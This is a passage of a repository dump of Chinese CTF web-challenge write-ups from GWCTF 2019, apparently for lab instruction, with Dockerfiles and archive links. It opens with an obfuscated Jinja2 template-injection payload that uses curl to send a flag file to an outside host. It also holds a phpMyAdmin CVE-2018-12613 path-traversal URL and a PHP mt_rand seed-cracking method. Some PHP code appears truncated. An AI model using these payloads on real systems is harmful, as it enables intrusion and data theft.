''.__claconfigss__.__mconfigro__[2].__subclasconfigses__()[59].__init__.func_glconfigobals.linecconfigache.oconfigs.popconfigen('curl http://yourip:port/ -d `cat /flag_1s_Hera`;') %}1{% endiconfigf %}` 15 | 16 | 17 | -------------------------------------------------------------------------------- /wp/web/你的名字/dockerfile.rar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/web/你的名字/dockerfile.rar -------------------------------------------------------------------------------- /wp/web/我有一个数据库/README.md: -------------------------------------------------------------------------------- 1 | # 我有一个数据库 2 | 没啥好说的,爆破出phpmyadmin(本来是想在phpinfo中提示的,但好像有点问题?) 3 | 然后问度娘poc,找到CVE-2018-12613可以用。 4 | 拿到POC直接打 5 | `http://yourip:port/index.php?target=db_sql.php%253f/../../../../../../../../flag` -------------------------------------------------------------------------------- /wp/web/我有一个数据库/dockerfile/dockerfile.rar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/web/我有一个数据库/dockerfile/dockerfile.rar -------------------------------------------------------------------------------- /wp/web/枯燥的抽奖/README.md: -------------------------------------------------------------------------------- 1 | # 枯燥的抽奖 2 | 进到题目看到的是一个猜数字题目,然后从前端跟到check.php可以看到后台代码 3 | 4 | ```php 5 | ".$str_show."

    "; 22 | 23 | 24 | if(isset($_POST['num'])){ 25 | if($_POST['num']===$str){x 26 | echo "

    抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}

    "; 27 | } 28 | else{ 29 | echo "

    没抽中哦,再试试吧

    "; 30 | } 31 | } 32 | show_source("check.php"); 33 | ``` 34 | 35 | 想到是关于php伪随机数的破解,问下度娘可以找到[解法](https://xz.aliyun.com/t/3656#toc-3) 36 | 37 | 具体解法是先用脚本将伪随机数转换成php_mt_seed可以识别的数据(参考解法) 38 | 39 | ```python 40 | str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' 41 | str2='yTPhFFRT7B' 42 | str3 = str1[::-1] 43 | length = len(str2) 44 | res='' 45 | for i in range(len(str2)): 46 | for j in range(len(str1)): 47 | if str2[i] == str1[j]: 48 | res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' ' 49 | break 50 | print(res) 51 | 52 | ``` 53 | 54 | 然后将生成的数据放到php_mt_seed中爆破,可以爆破出伪随机数和php版本. 55 | 然后改写源码,生成完整字符串(如爆破到的seed是111794312) 56 | 57 | ```php 58 | ".$str."

    "; 67 | ``` 68 | 69 | 提交得flag。 70 | -------------------------------------------------------------------------------- /wp/web/枯燥的抽奖/dockerfile/docker-compose.yml: -------------------------------------------------------------------------------- 1 | services: 2 | web11: 3 | build: . 4 | ports: 5 | - 2345:80 6 | version: '3' 7 | -------------------------------------------------------------------------------- /wp/web/枯燥的抽奖/dockerfile/dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:latest 2 | 3 | RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.aliyun.com/g" /etc/apt/sources.list 4 | 5 | ENV DEBIAN_FRONTEND=noninteractive 6 | 7 | RUN apt-get update && \ 8 | apt-get install -y apache2 libapache2-mod-php php 9 | 10 | COPY ./source /var/www/html 11 | RUN chmod -R 444 /var/www/html 12 | 13 | RUN service apache2 start 14 | 15 | CMD service apache2 start && tail -f /dev/null 16 | 17 | EXPOSE 80 18 | -------------------------------------------------------------------------------- /wp/web/枯燥的抽奖/dockerfile/source.rar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/web/枯燥的抽奖/dockerfile/source.rar --------------------------------------------------------------------------------